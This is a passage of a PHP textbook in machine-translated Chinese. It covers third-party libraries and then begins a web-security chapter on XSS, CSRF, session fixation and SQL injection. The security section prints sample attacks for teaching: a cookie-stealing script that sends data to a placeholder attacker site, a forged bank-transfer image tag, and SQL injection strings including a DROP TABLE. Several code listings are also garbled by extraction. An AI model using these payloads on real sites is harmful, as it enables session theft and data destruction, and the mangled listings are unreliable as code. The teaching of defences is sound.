PHP-编程高级教程-四-

//our display function function displayData(Array data) {         foreach ( data as link ) { //escape output                 cleaned_title = htmlentities ( $link ['title'], ENT_QUOTES, "UTF-8" );$cleaned_href = htmlentities ( $link ['href'], ENT_QUOTES, "UTF-8" );                 echo "<p><strong>" .$cleaned_title . "
\n";                 echo $cleaned_href . "

?>`

注意，从清单 10-11 到清单 10-12 ，只有我们的解析函数发生了变化。为了直接使用phpQuery而不是DOMDocument，我们称之为newDocumentHTML方法:

    phpQuery::newDocumentHTML($data);

这里不包括 phpQuery 库的全部内容。相反，我们将比较示例中使用的选择器的 XPath、phpQuery 和 jQuery 符号(表 10-1 )。

谷歌地图整合

为了使用 Google Maps，我们将使用位于[code.google.com/p/php-google-map-api](http://code.google.com/p/php-google-map-api) /的 php-google-map-api 库。当前版本 3.0 的直接下载包目前不可用。您需要使用 subversion 客户机来签出源代码，命令如下:

svn checkout http://php-google-map-api.googlecode.com/svn/trunk/

两个 svn 客户端分别是在tortoisesvn.net/downloads.html可用的 tortoiseSVN 和在www.sliksvn.com/en/download可用的 slik svn。

php-google-map-api 库正在积极开发，功能丰富。我们将定义一个样板模板，我们的示例脚本将输出到这个模板中(清单 10-13 )。

***清单 10-13。*我们的样板模板，gmap_template.php

`              getHeaderJS();           echo $gmap->getMapJS();         ?>                   printOnLoad();           echo $gmap->printMap();           echo $gmap->printSidebar();         ?>     

在我们的第一个例子中，我们将显示一个只有一个标记的 Google 地图。参见清单 10-14 。

***清单 10-14。*谷歌地图卫星图像，单一标记示例

`<?php error_reporting(E_ALL ^ E_NOTICE); require_once("php-google-map-api/GoogleMap.php"); require_once("php-google-map-api/JSMin.php");

$gmap = new GoogleMapAPI();$gmap->addMarkerByAddress(                           "Eiffel Tower, Paris, France",                           "Eiffel Tower Title",                           "Eiffel Tower Description" ); require_once('gmap_template.php'); ?>`

正如你所看到的，用库显示谷歌地图非常容易。在清单 10-14 中，我们创建了一个新的GoogleMapAPI对象并标记了一个地址。方法addMarkerByAddress将标题和描述作为附加参数。结果如图图 10-6 所示。

***图 10-6。*标记艾菲尔铁塔的谷歌地图

在清单 10-15 的中，我们将展示一张地图，而不是卫星图像。我们还将设置默认缩放级别，并将交通路线显示为叠加图。结果如图 10-7 中所示。

***清单 10-15。*谷歌地图交通路线叠加示例

`<?php error_reporting(E_ALL ^ E_NOTICE); require_once("php-google-map-api/GoogleMap.php"); require_once("php-google-map-api/JSMin.php");

$gmap = new GoogleMapAPI();$gmap->addMarkerByAddress( "New York, NY", "New York Traffic", "Traffic description here" ); $gmap->setMapType( 'map' );** **$gmap->setZoomLevel( 15 ); $gmap->enableTrafficOverlay(); require_once('gmap_template.php'); ?>`

***图 10-7。*谷歌地图显示纽约交通路线

对于最后一个例子，我们将在同一张地图上放置几个标记。我们还将把地图类型设置为地形。参见清单 10-16 ，其结果显示在图 10-8 中。

***清单 10-16。*谷歌地图地形，多个标记示例

`<?php error_reporting(E_ALL ^ E_NOTICE); require_once("php-google-map-api/GoogleMap.php"); require_once("php-google-map-api/JSMin.php");

$gmap = new GoogleMapAPI(); **$gmap->addMarkerByAddress( "Saskatoon, SK", "", "Home" );** $gmap->addMarkerByAddress( "Vancouver, BC", "", "West Coast" );** **$gmap->addMarkerByAddress( "Montreal, QC", "", "Hockey" ); $gmap->addMarkerByAddress( "Playa del Carmen, Mexico", "", "Tropical vacation" );** **$gmap->setMapType( 'terrain' );

require_once('gmap_template.php'); ?>`

***图 10-8。*谷歌地图显示地形和多个标记

电子邮件和短信

PHP 有一个内置函数mail，用来发送电子邮件。然而，对于更复杂的服务器或电子邮件设置，外部库支持以更容易的面向对象方式创建邮件。PHPMailer 库让我们可以轻松地发送电子邮件和短信。PHPMailer 可以在http://sourceforge. net/projects/phpmailer/files/phpmailer%20for%20php5_6/下载。

清单 10-17 显示了 PHPMailer 库的基本用法。

***清单 10-17。*基本邮件使用

`<?php error_reporting(E_ALL); require("phpmailer/class.phpmailer.php");

$mail = new PHPMailer(); //default is to use the PHP mail function

$mail->From = "from@foobar.com";$mail->AddAddress( "to@foobar.net" );

$mail->Subject = "PHPMailer Message";$mail->Body = "Hello World!\n I hope breakfast is not spam.";

if( mail->Send() ) {   echo 'Message has been sent.'; } else {   echo 'Message was not sent because of error:<br/>';   echo mail->ErrorInfo; } ?>`

注意如果您收到错误消息“Could not instantiate mail function,”，那么很可能是因为From电子邮件地址在您发送邮件的服务器上无效。

接下来，我们将演示如何发送 HTML 格式的消息和附件(清单 10-18 )。

***清单 10-18。*发送带有附件的 HTML 格式的消息

`<?php error_reporting(E_ALL); require("phpmailer/class.phpmailer.php");

$mail = new PHPMailer(); //default is to use the PHP mail function

$mail->From = "from@foobar.com";$mail->AddAddress( "to@foobar.net" ); $mail->Subject = "PHPMailer Message";

$mail->IsHTML(); //tell PHPMailer that we are sending HTML** **$mail->Body = "Hello World!
I hope breakfast is not spam.";

//fallback message in case their mail client does not accept HTML $mail->AltBody = "Hello World!\n I hope breakfast is not spam.";** **//adding an attachment** **$mail->AddAttachment( "document.txt" );

if( mail->Send() ) {   echo 'Message has been sent.'; } else {   echo 'Message was not sent because of error:<br/>';   echo mail->ErrorInfo; } ?>`

在清单 10-19 中，我们将使用带认证的 SMTP 服务器。我们还将遍历一组电子邮件地址和名称来发送批量电子邮件。

清单 10-19。 PHPMailer 用 SMTP 发送批量邮件

`<?php

error_reporting(E_ALL); require("phpmailer/class.phpmailer.php");

$mail = new PHPMailer();

$mail->IsSMTP();  //using SMTP** **$mail->Host = "smtp.example.com"; // SMTP server

//authenticate on the SMTP server $mail->SMTPAuth = true;** **$mail->Username = "brian"; $mail->Password = "briansPassword";

$mail->From = "from@foobar.com";$mail->Subject = "PHPMailer Message";

$names = array(**     **array( "email" => "foobar1@a.com", "name" => "foo1" ),**     **array( "email" => "foobar2@b.com", "name" => "foo2" ),**     **array( "email" => "foobar3@c.com", "name" => "foo3" ),**     **array( "email" => "foobar4@d.com", "name" => "foo4" )** **);**` `**foreach ($names as n ) {**     mail->AddAddress( $n['email'] );**$mail->Body = "Hi **{n['name']}!**\n Do you like my SMTP server?";     if( mail->Send() ) {       echo 'Message has been sent.';     } else {       echo 'Message was not sent because of   error:
';       echo mail->ErrorInfo;     }     mail->ClearAddresses(); } ?>`

在我们最后一个使用 PHPMailer 库的例子中，我们将发送一条短消息服务(SMS)消息。SMS 消息通常被称为文本消息或文本。要发送短信，我们需要知道收件人的电话号码和提供商。从提供商那里，我们需要知道 SMS 域。

***清单 10-20。*使用 PHPMailer 发送短信

`<?php

error_reporting(E_ALL); require("phpmailer/class.phpmailer.php"); define( 'MAX_SMS_MESSAGE_SIZE', 140 );

$mail = new PHPMailer();

$mail->IsSMTP();$mail->Host = "smtp.example.com"; $mail->SMTPAuth = true;$mail->Username = "brian"; $mail->Password = "briansPassword";

$mail->From = "from@foobar.com";$mail->Subject = "PHPMailer Message";

phone_number = "z+a  555 kfla555-@#1122";** **clean_phone_number = filter_var( $phone_number, FILTER_SANITIZE_NUMBER_INT );** **//+555555-1122** **$cleaner_phone_number = str_replace( array( '+' ,  '-' ), '', $clean_phone_number ); //5555551122

$sms_domain = "@sms.fakeProvider.com";

//5555551122@fake.provider.com $mail->AddAddress($cleaner_phone_number . $sms_domain );** **$mail->Body = "Hi recipient!\r\n here is a text"; **if ( strlen( mail->Body ) < MAX_SMS_MESSAGE_SIZE ) {**     if ( mail->Send() ) {         echo 'Message has been sent.';     } else {         echo 'Message was not sent because of error:
';         echo $mail->ErrorInfo;     } } else {     echo "Your message is too long."; } ?>`

在清单 10-20 中，我们首先确保我们的电话号码只包含数字。我们使用filter_var去掉除了数字、加号和减号之外的所有字符。然后，我们使用str_replace删除任何加号或减号。我们还定义了一个最大字符串长度，并确保我们的身体小于这个限制。我们将清除的电话号码与我们的 SMS 域连接起来，并将其用作发送 SMS 消息的地址。

注意大多数短信提供商要求号码长度为十位数，不带标点符号。这意味着该数字不包括国家代码。您可能希望添加验证，确认清除的数字长度为十位数。

gChartPHP:一个谷歌图表 API 包装器

Google Chart API 是一个非常容易使用的非常强大的库，可以生成动态图形和图表。gChartPHP 包装器以面向对象的方式抽象出 API 所需的精确语法。这使得它更容易使用，更不容易出错。有了 Chart API，Google 就可以生成图像，从而减轻服务器的负担。您可以在[code.google.com/p/gchartphp/](http://code.google.com/p/gchartphp/)下载 API 包装器。有关 Google Chart API 的更多信息，请访问[code.google.com/apis/chart/](http://code.google.com/apis/chart/)。

Google Chart API 可以生成以下类型的图表:折线图、条形图、饼图、地图、散点图、维恩图、雷达图、二维码图、google-o-meter、复合图、烛台图和 GraphViz 。我们将展示如何生成地图和蜡烛图。

地图就像谷歌分析中的地图。我们要标记的国家在两个颜色值的渐变范围之间着色。我们分配给一个国家的数据决定了该国接受的阴影级别。这有助于显示在我们绘制的统计数据中具有更大权重的国家或地区。参见清单 10-21 。

***清单 10-21。*显示部分欧洲国家的彩色地图

`<?php

error_reporting(E_ALL); require_once ('GChartPhp/gChart.php');

$map = new gMapChart();

$map->setZoomArea( 'europe' );  //geographic area //italy, sweden, great britain, spain, finland$map->setStateCodes( array( 'IT', 'SE', 'GB', 'ES', 'FI') ); $map->addDataSet( array( 50, 100, 24, 80, 65 ) ); //level of shading in gradient$map->setColors(         'E7E7E7', //default         array('0077FF', '000077') //gradient color range ); echo "<img src="" . $map->getUrl() . "" />
Europe"; ?>`

在清单 10-21 中，我们构造了一个**gMapChart**对象并放大到欧洲。然后我们添加一些国家代码。这些缩写的列表可以在网上的[en.wikipedia.org/wiki/ISO_3166-1_alpha-2](http://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)找到。我们为每个国家代码设置相应的数据。如果我们希望所有的国家都是相同的颜色，那么将所有的值设置为相等。接下来，我们设置颜色。我们的渐变范围从浅蓝绿色到深蓝色。最后，我们将 URL 直接输出到一个图像标签中。图 10-9 显示了用谷歌图表 API 生成的地图。

注意在执行GET请求时，我们受到查询长度的限制。Google Chart API 和包装器确实有发送POST请求的方法。其中一种方法就是使用renderImage(true)。

***图 10-9。*用谷歌海图 API 生成的地图

我们的第二个也是最后一个例子将展示如何制作蜡烛图。蜡烛图需要至少四个数据系列，通常用于描绘股票市场数据。参见图 10-10 。

***图 10-10。*烛台标记

在蜡烛线标记中，股票开盘和收盘之间的区域被称为“主体”或“真实主体”高低“灯芯”也被称为“影子”，显示一天中最高和最低的股票价格。清单 10-22 产生了一个烛台风格的图表。

***清单 10-22。*代码生成一个Candlestic样式的图表

`<?php

error_reporting(E_ALL); require_once ('GChartPhp/gChart.php');

$candlestick = new gLineChart( 400, 400 );

//the regular line graph of close prices //32 pts $candlestick->addDataSet(         array( 90, 70, 60, 65, 75, 85, 70, 75,             80, 70, 75, 85, 100, 105, 100, 95,             80, 70, 65, 35, 30, 45, 40, 50,             40, 40, 50, 60, 70, 75, 80, 75 ));

//the candlestick markers. the close price is the same as our line graph $candlestick->addHiddenDataSet(         array( 100, 95, 80, 75, 85, 95, 90, 95,             90, 85, 85, 105, 110, 120, 110, 110,             105, 90, 75, 85, 45, 55, 50, 70,             55, 50, 55, 65, 80, 85, 90, 85 )); //high` `$candlestick->addHiddenDataSet(         array( 80, 90, 70, 60, 65, 75, 85, 70,             75, 80, 70, 75, 85, 100, 105, 100,             95, 80, 70, 65, 35, 30, 45, 40,             50, 45, 40, 50, 60, 70, 75, 80 )); //open $candlestick->addHiddenDataSet(         array( 90, 70, 60, 65, 75, 85, 70, 75,             80, 70, 75, 85, 100, 105, 100, 95,             80, 70, 65, 35, 30, 45, 40, 50,             40, 40, 50, 60, 70, 75, 80, 75 )); //close$candlestick->addHiddenDataSet(         array( 65, 65, 50, 50, 55, 65, 65, 65,             70, 50, 65, 75, 80, 90, 90, 85,             60, 60, 55, 30, 25, 20, 30, 30,             30, 25, 30, 40, 50, 55, 55, 55 ));   //low

$candlestick->addValueMarkers(         'F', //line marker type is candlestick         '000000', //black color         1, //start with "high" data series         '1:', //do not show first marker         5           //marker width );$candlestick->setVisibleAxes( array( 'x', 'y' ) );  //both x and y axis $candlestick->addAxisRange( 0, 0, 32 );           //x-axis$candlestick->addAxisRange( 1, 0, 110 );          //y-axis

echo "<img src="" . $candlestick->getUrl() . "" />
Stock market report"; ?>`

在清单 10-22 中，我们构造了一个gLineChart对象。然后，我们定义将用于烛台的线数据集和四个隐藏数据集。接下来，我们添加烛台标记。最后，我们设置一些轴信息并显示我们生成的图像。清单 10-22 的输出如图 10-11 中所示。

***图 10-11。*运行清单 10-22 输出一个股市蜡烛图

总结

在这一章中，我们展示了很多 PHP 库和它们的用法。通过这样做，我们展示了如何使用现有的解决方案是非常有益的。我们使用包装器来集成 Google Maps 和 Google Chart API。我们解析了 RSS 提要并搜集了网站数据。我们生成了 pdf、电子邮件和短信。

使用现有的库使我们能够在高层次上快速开发，抽象出低层次的细节。另一方面，我们无法控制第三方代码。我们必须相信它不是恶意的或错误的。

作为程序员，编写自己的库可能很有诱惑力，因为现有的选项缺少一些功能或者不符合您的标准。然而，这样做通常会浪费大量的时间和精力。通常，更好的办法是参与现有开源库的补丁、错误修复和特性请求。

十一、安全

在编写网页时，考虑安全性是非常重要的。攻击者会试图利用许多潜在的站点漏洞。一个好的 PHP 开发人员需要保持勤奋，并且了解最新的安全实践。在这一章中，我们将介绍一些强化我们网站的最佳实践和技术。

本章的一个关键思想是永远不要相信数据或用户的意图。我们需要过滤和转义的用户数据可能来自多个来源，比如 URL 查询字符串、表单数据、$_COOKIES、$_SESSION、$_SERVER 数组和 Ajax 请求。

我们还将讨论常见的攻击及其预防，包括以下主题:

• 通过输出转义防止跨站点脚本(XSS)
• 使用隐藏表单令牌防止跨站点请求伪造(CSRF)
• 通过不将会话 ID (SID)存储在 cookie 中并在每页开始时重新生成 SID 来防止会话固定
• 使用预准备语句和 PDO 预防 SQL 注入
• 使用筛选器扩展

我们还将讨论如何巩固我们的php.ini和服务器设置，并涵盖密码散列强度。

永远不要相信数据

在电视连续剧《X 档案》中，福克斯·莫特说过一句名言:“不要相信任何人。”说到 web 编程，我们应该遵循这个建议。假设最坏的情况:所有数据都被污染了。Cookies、Ajax 请求、头和表单值(甚至使用 POST)都可能被欺骗或篡改。即使用户可以被完全信任，我们仍然希望确保表单字段被正确填写，并防止出现格式错误的数据。所以要过滤所有输入，转义所有输出。在本章的后面，我们将会看到一些新的 PHP 过滤函数，它们使得这个过程变得更加容易。

我们还将讨论如何配置php.ini来提高安全性。然而，如果我们编写一个代码库供公众使用，那么我们不能确保最终开发者遵循了他们的php.ini文件中的最佳实践。由于这个原因，我们应该总是防御性地编码，并假设php.ini文件没有被收紧。

注册 _ 全局

最佳实践是始终初始化变量。这是针对当在php.ini中打开register_globals指令时可能出现的攻击的一种保护措施。启用register_globals后，$_POST和$_GET变量被注册为脚本中的全局变量。如果在脚本中添加一个查询字符串，比如"?foobar=3"，PHP 会在后台创建一个同名的全局变量:

$foobar = 3; //register_globals declares this global variable for you.

当register_globals被启用并且 URL 被设置为[foobar.com/login.php?is_admin=true](http://foobar.com/login.php?is_admin=true)时，清单 11-1 中的脚本将总是被授予管理员权限。

清单 11-1。【login.php】绕过安全检查的 register _ globals】

`<?php         session_start();

        //$is_admin =$_GET['is_admin']  initialized by register globals         //$is_admin = true; current value passed in

        if ( user_is_admin( _SESSION['user'] ) ) {     //makes this check useless                     is_admin = true;         }

        if ( $is_admin ) {          //will always be true                     //give the user admin privileges         }         … ?>`

攻击者必须猜出$is_admin变量的正确名称，攻击才会成功。或者，如果正在使用一个已知的库，攻击者可以通过研究 API 或库的完整源代码很容易地找到变量名。防止这种攻击的关键是初始化所有变量，如清单 11-2 所示。这确保了register_globals不能覆盖现有的变量。

***清单 11-2。*启动变量以防止 register_globals 滥用

`<?php         //$is_admin =$_GET['is_admin']  initialized by register globals         //$is_admin = true; current value passed in         **$is_admin = false;**            //defensively set to override                                       //initial value set by register globals         if ( user_is_admin( user ) ) {                     is_admin = true;         }

        if ( $is_admin ) {   //this will only be true now                             //if the user_is_admin function returns true                     //give the user admin privileges         }         … ?>`

白名单和黑名单

我们不应该对include或require函数调用使用$_GET或$_POST值。这是因为文件名对我们来说是未知的。攻击者可能试图通过在文件名前加上类似"../../"的字符串来绕过文档根限制。对于include和require调用中的变量，我们应该有一个可接受文件名的白名单，或者对文件名进行净化。

注意白名单是被批准的项目的列表。相反，黑名单是不允许的项目列表。白名单比黑名单更严格，因为它们明确规定了什么是被批准的。黑名单需要不断更新才能生效。

白名单的例子有可接受的电子邮件地址、域名或 HTML 标签。黑名单的示例包括不允许的电子邮件地址、域名或 HTML 标记。

清单 11-3 展示了如何接受可接受文件名的白名单。

***清单 11-3。*通过使用可接受文件名的白名单来限制包含文件

<?php         //whitelist of allowed include filenames         $allowed_includes = array( 'fish.php', 'dogs.php', 'cat.php' );         if ( isset( $_GET['animal']) ) {                 $animal = $_GET['animal'];                 $animal_file = $animal. '.php';                 if( in_array( $animal_file, $allowed_includes ) ) {                         require_once($animal_file);                 } else {                         echo "Error: illegal animal file";                 }         } ?>

对于我们的脚本打开的文件，basename函数可以帮助确保所包含的文件不会超出我们的文档根目录。

对于由用户提供并使用file_get_contents检索的外部 URL，我们需要过滤文件名。我们可以使用parse_url函数提取 URL 并删除查询字符串，或者使用FILTER_SANITIZE_URL和FILTER_VALIDATE_URL来确保一个合法的 URL。我们将在本章后面讨论使用过滤器。

表格数据

大多数读者都知道，用 HTTP GET 方法提交的表单域可以通过直接修改 URL 查询来修改。这通常是期望的行为。例如，[stackoverflow.com](http://stackoverflow.com)的搜索表单可以单独使用查询来提交。见清单 11-4 。

***清单 11-4。*通过直接修改 URL 查询来搜索stackoverflow.com

http://stackoverflow.com/search?q=php+xss

搜索表单的实际标记如清单 11-5 所示。

***列表 11-5。*查询表

`<form id="search" method="get" action="/search">

同样的搜索结果可以通过直接使用 HTTP 请求的 telnet 客户端获得，如清单 11-6 所示。

清单 11-6。 Telnet 命令发送一个 GET 请求

telnet stackoverflow.com 80 GET /search?q=php+xss HTTP/1.1 Host: stackoverflow.com

一个常见的误解是使用HTTP POST方法的表单更安全。尽管不能通过 URL 查询直接修改，用户仍然可以通过 telnet 直接提交查询。如果前面的表单使用了POST方法，<form id="search" method="post" action="/search">,，我们仍然可以通过修改前面的 telnet 命令直接发送查询请求。

清单 11-7。 Telnet 命令发送一个 POST 请求

telnet stackoverflow.com 80 POST /search HTTP/1.1 Host: stackoverflow.com Content-Type: application/x-www-form-urlencoded Content-Length: 9 q=php+xss

正如您在清单 11-7 中看到的，实际的表单标记是不必要的。如果我们知道预期的 POST 变量的结构，我们可以在 POST 请求中发送它们。如果攻击者正在侦听网络流量，他们可以很容易地看到来回传递的表单内容。然后，他们可以尝试通过用有效值重新填充表单并提交来欺骗表单。消除表单欺骗的一种方法是检查隐藏的表单令牌是否已经由服务器随请求一起发送。这将在本章后面的“跨站点请求伪造(CSRF)”一节中介绍

注隐藏形式令牌被称为 nonce ，是曾经使用过的数的缩写。每个表单提交的令牌都是不同的，以防止未经授权的窃听者重新发送有效数据，比如密码。如果没有隐藏令牌，服务器将拒绝表单提交数据。

当表单数据包含非常敏感的信息时，比如银行的用户名和密码，那么应该使用安全套接字层(SSL)进行通信。SSL 防止窃听者监听网络流量。

$_COOKIES，$_SESSION 和$_SERVER

我们不能相信$_COOKIES中的数据包含合法值，因为 cookie 数据存储在客户端，很容易被修改。Cookies 也容易受到跨站点脚本攻击，这一点我们将在本章后面讨论。出于这些原因，我们应该对任何敏感数据使用服务器端的$_SESSION数据。尽管比 cookies 安全得多，但会话容易受到会话固定攻击。我们还将在本章的后面讨论防止会话固定。甚至连$_SERVER这个变量也不应该完全相信。$_SERVER变量是由服务器而不是 PHP 生成的。以HTTP_开头的变量来自 HTTP 头，很容易被欺骗。

Ajax 请求

在第十五章中深入讨论的 Ajax 中，XMLHttpRequest对象通常会发送一个X-Requested-With头，如下所示:

<script type='text/javascript'>         …         xmlHttpRequest.setRequestHeader("X-Requested-With", "XMLHttpRequest");         … </script>

在 PHP 脚本中，确保请求来自 Ajax 的一个常用技术是使用以下命令检查这个头:

<?php         …         if (  strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest' ) {                 //then it was an ajax request         }         … ?>

然而，这个消息头可能是伪造的，所以这并不能保证发送了 Ajax 请求。

常见攻击

在本节中，我们将讨论两种最常见的攻击，XSS 和 CSRF，并展示如何防止它们。

同源政策

作为了解常见攻击的先决条件，我们需要讨论一下同源策略。同源策略是浏览器对客户端脚本(如 JavaScript)的安全实现。它使脚本只能访问相同协议、主机和端口上的功能和元素。如果其中任何一个不同，那么该脚本将无法访问外部脚本。一些攻击的发生是因为同源策略被非法规避以利用用户或网站。

注不幸的是，同源政策阻止了一些合法使用。例如，以下所有行为都是非法的:

不同协议 [www.foobar.com](http://www.foobar.com) [www.foobar.com](https://www.foobar.com)

不同端口 [www.foobar.com:80](http://www.foobar.com:80) [www.foobar.com:81](http://www.foobar.com:81)

不同子域 [www.foobar.com](http://www.foobar.com) [foobar.com](http://foobar.com) [sub.foobar.com](http://sub.foobar.com)

在 HTML 5 中，postMessage函数将支持类似这样的合法情况。目前，浏览器对该功能的支持有限。

跨站点脚本(XSS)

跨站点脚本(XSS)是一种将客户端脚本(如 JavaScript、Jscript 或 VBScript)注入网页的攻击。XSS 通过绕过同源策略来工作，并且只能在将数据输出到浏览器中时发生。因此，对所有输出的用户数据进行转义是非常重要的。

注转义输出是指删除或替换潜在危险的输出。根据上下文，这可以包括在引号前添加转义字符(“变成\”)，用 HTML 实体、<和&gt,替换<和>符号，以及删除<script>标签。

XSS 攻击利用了用户对网站的信任。XSS 攻击通常会偷饼干。植入的脚本从可信站点读取 document.cookie，然后将数据发送到恶意站点。对于 XSS，客户端脚本是敌人。一旦攻击者找到了在输出页面上注入非转义客户端脚本的方法，他们就赢得了这场众所周知的战斗。

XSS 袭击看起来像什么

用户可以输入 JavaScript(或另一个脚本)而不会在重新显示时被过滤和转义的任何地方都容易受到 XSS 的攻击。这通常发生在以下情况中:

• 评论或留言簿。

***清单 11-8。*一个不可避免的用户评论，当任何人访问该页面时会打开一个警告框

<script type="text/javascript">alert('XSS attack');</script>

或者

***清单 11-9。*一个不可避免的评论，它读取访问者的 Cookies 并将它们转移到攻击者的站点

<script type="text/javascript"> document.location = 'http://attackingSite.com/cookieGrabber.php?cookies='                                  + document.cookie </script>

• 重新显示时没有过滤和转义的 PHP 表单。这可以是登录、注册或搜索表单。

考虑一个使用$_POST数据填充字段值的表单。当表单提交不完整时，以前的值会填充输入字段。这是一种用于维护表单状态的常用技术。它使用户在输入非法值或错过必填字段时不必重新输入每个字段值。考虑清单 11-10 中的 PHP 脚本。

***清单 11-10。*用 PHP 实现粘性表单处理。无输出逃逸，易受 XSS 影响

`<?php

$field_1 = "";$field_2 = ""; if ( isset( _POST['submit'] ) ) {     form_fields = array( 'field_1', 'field_2' );     $completed_form = true;     foreach ($form_fields as field ) {         if ( !isset( _POST[$field] ) || trim($_POST[field] ) == "" ) {             completed_form = false;             break;         }else{             {field} = $_POST[$field];         }     }

    if ( $completed_form ) {         //do something with values and redirect         header( "Location: success.php" );     } else {         print "

error

如果我们输入到field_1中的值:

"><script type="text/javascript">alert('XSS attack');</script><"

然后我们提交的表单将无法通过我们的验证检查。表单将重新显示我们未转义的粘性值。生成的标记现在看起来像清单 11-11 中的。

***清单 11-11。*带有 XSS 指数的内插标记

`

攻击者能够在页面上插入 JavaScript。我们可以通过对将要输出的变量进行转义来防止这种情况:

${$field} = htmlspecialchars( $_POST[$field], ENT_QUOTES, "UTF-8" );

这消除了威胁，产生了无害的标记，如清单 11-12 中的所示。

***清单 11-12。*用htmlspecialchars 对输出进行转义，使插入的标记无害

`

• URL 查询字符串变量如果不在输出中过滤和转义，很容易被滥用。考虑以下带有查询字符串的 URL:

http://www.foobar.com?user=<script type="text/javascript">alert('XSS attack');</script>

和 PHP 代码

<?php echo "Information for user: ".$_GET['user']; ?>

防范 XSS 袭击

为了防止 XSS，我们需要对用户可能注入恶意代码的任何输出数据进行转义。这包括表单值、$_GET查询变量以及可能包含 HTML 标记的留言簿和评论文章。

要从输出字符串$our_string中转义 HTML，我们可以使用函数

htmlspecialchars( $our_string, ENT_QUOTES, 'UTF-8' )

我们也可以用filter_var( $our_string, FILTER_SANITIZE_STRING )。我们将在本章后面更详细地讨论filter_var函数。为了防止 XSS，同时允许输出数据更自由，PHP 库 HTML 净化器是最流行的方法之一。HTML 净化器可以在[htmlpurifier.org/](http://htmlpurifier.org/)找到。

跨站请求伪造(CSRF)

CSRF 与 XSS 相反，它利用网站对用户的信任。CSRF 涉及伪造的 HTTP 请求，通常出现在img标记中。

CSRF 遇袭的一个例子

假设用户访问包含以下标记的网站:

<img src="http://attackedbank.com/transfer.php?from_user=victim&amount=1000&to_user=attacker"/>

浏览器访问src属性中的 URL 是为了获取图像。取而代之的是，访问一个带有查询字符串的 PHP 页面。如果用户最近访问过attackedbank.com,并且仍然有该站点的 cookie 数据，那么请求可以通过。更复杂的攻击欺骗使用直接 HTTP 请求的POST方法。受攻击网站的 CSRF 的困难在于无法区分有效和无效的请求。

CSRF 预防

防止 CSRF 最常用的技术是在生成会话 ID 时生成并存储一个秘密会话令牌，如清单 11-13 所示。则秘密令牌作为隐藏的表单字段被包含。提交表单时，我们确保令牌存在，并且与会话中找到的值相匹配。我们还确保表格在指定的时间内提交。

***清单 11-13。*带有隐藏令牌的样本表单

`<?php

session_start(); session_regenerate_id(); if ( !isset( _SESSION['csrf_token'] ) ) {   csrf_token = sha1( uniqid( rand(), true ) );   $_SESSION['csrf_token'] =$csrf_token;   $_SESSION['csrf_token_time'] = time(); } ?>

然后，我们验证秘密令牌值是否匹配，生成时间是否在指定范围内(见清单 11-14 )。

***清单 11-14。*验证秘密令牌值是否匹配

`<?php

session_start(); if ( $_POST['csrf_token'] ==$_SESSION['csrf_token'] ) {   $csrf_token_age = time() -$_SESSION['csrf_token_time'];

  if ( $csrf_token_age <= 180 ) { //three minutes        //valid, process request   } } ?>`

会话

当一个人设置另一个人的会话标识符(SID)时，发生会话固定。一种常见的方法是使用 XSS 将 SID 写入用户的 cookies。攻击者可以在 URL 中检索会话 id(例如,/index.php?PHPSESSID=1234abcd))或在网络流量中监听会话 id。

为了防止会话固定，我们可以在每个脚本的开始重新生成会话，并在我们的php.ini中设置指令。

在我们的 PHP 文件中，我们可以用一个新的 ID 替换会话 ID，但是保留当前的会话数据。见清单 11-15 。

***清单 11-15。*在每个脚本的开始替换会话 ID

`<?php

session_start(); session_regenerate_id(); …`

在我们的php.ini文件中，我们可以禁止使用 cookies 来存储 SID。我们还防止 SID 出现在 URL 中。

session.use_cookies = 1 session.use_only_cookies = 1 session.use_trans_sid = 0

注意session.gc_maxlifetime指令依赖于垃圾收集。为了更加一致，您可以自己记录会话开始时间，并在指定的时间段后终止。

为了防止会话固定，我们还可以存储一些$_SERVER信息的值，即REMOTE_ADDR, HTTP_USER_AGENT和HTTP_REFERER。然后，我们在每个脚本执行开始时重新检查这些字段，并比较这些值的一致性。如果存储值和实际值不同，我们怀疑会话被篡改，我们可以用session_destroy();销毁它。

最后一个保护措施是在服务器端加密会话数据。这使得泄露的会话数据对没有解密密钥的任何人都没有价值。

防止 SQL 注入

当输入数据在插入数据库查询之前没有转义时，会发生 SQL 注入。无论恶意与否，SQL 注入都会以查询不希望的方式影响数据库。SQL 注入的一个经典例子是在查询字符串上:

$sql = "SELECT * FROM BankAccount WHERE username = '{$_POST['user'] }'";

如果攻击者能够正确猜测或确定(通过显示的错误或调试输出)与表单输入相对应的数据库表字段名，则注入是可能的。例如，将表单字段"user"设置为"foobar' OR username = 'foobar2"，而不在提交时对数据进行转义，结果会被插值为:

$sql = "SELECT * FROM BankAccount WHERE username = 'foobar' OR username = 'foobar2'";

这使得攻击者能够从两个不同的帐户查看信息。

更大的注入是输入字符串"foobar' OR username = username"

其将被插值为

$sql = "SELECT * FROM BankAccount WHERE username ='foobar' OR username = username";

因为“username = username”总是为真，所以整个WHERE子句的计算结果总是为真。该查询将返回来自BankAccount table的所有记录。

不过，其他注射可能会改变或删除数据。考虑以下查询:

$sql = "SELECT * FROM BankAccount WHERE id = $_POST['id'] ";

和一个$_POST值:

$_POST['id']= "1; DROP TABLE BankAccount;"

在不转义变量的情况下，这被插值为:

"SELECT * FROM BankAccount WHERE id = 1; DROP TABLE BankAccount;"

这将删除BankAccount表。

如果可以，应该使用占位符，比如 PHP 数据对象(PHP)中的占位符。从安全角度来看，PDO 允许占位符、预准备语句和绑定数据。考虑清单 11-16 中显示的带有 PDO 的查询的三种变体。

***清单 11-16。*在 PDO 执行相同查询的三种不同方式

`<?php //No placeholders. Susceptible to SQL injection $stmt =$pdo_dbh->query( "SELECT * FROM BankAccount WHERE username = '{$_POST['username']}' " );  

//Unnamed placeholders.   $stmt =$pdo_dbh->prepare( "SELECT * FROM BankAccount WHERE username = ? " );   $stmt->execute( array($_POST['username'] ) );

//Named placeholders. $stmt =$pdo_dbh->prepare( "SELECT * FROM BankAccount WHERE username = :user " );   $stmt->bindParam(':user',$_POST['username']); $stmt->execute( );`

PDO 还提供了报价功能:

$safer_query = $pdo_dbh->quote($raw_unsafe_query);  

如果你不使用 PDO，那么还有其他方法可以替代quote函数。对于 MySQL 数据库，使用mysql_real_escape_string函数。对于 PostgreSQL 数据库，使用pg_escape_string和pg_escape_bytea函数。要使用 MySQL 或 PostgreSQL 转义函数，您需要在php.ini中启用适当的库。如果mysql_real_escape_string不可用，使用addslashes功能。请记住，mysql_real_escape_string比addslashes,更好地处理字符编码问题和二进制数据，通常也更安全。

过滤扩展

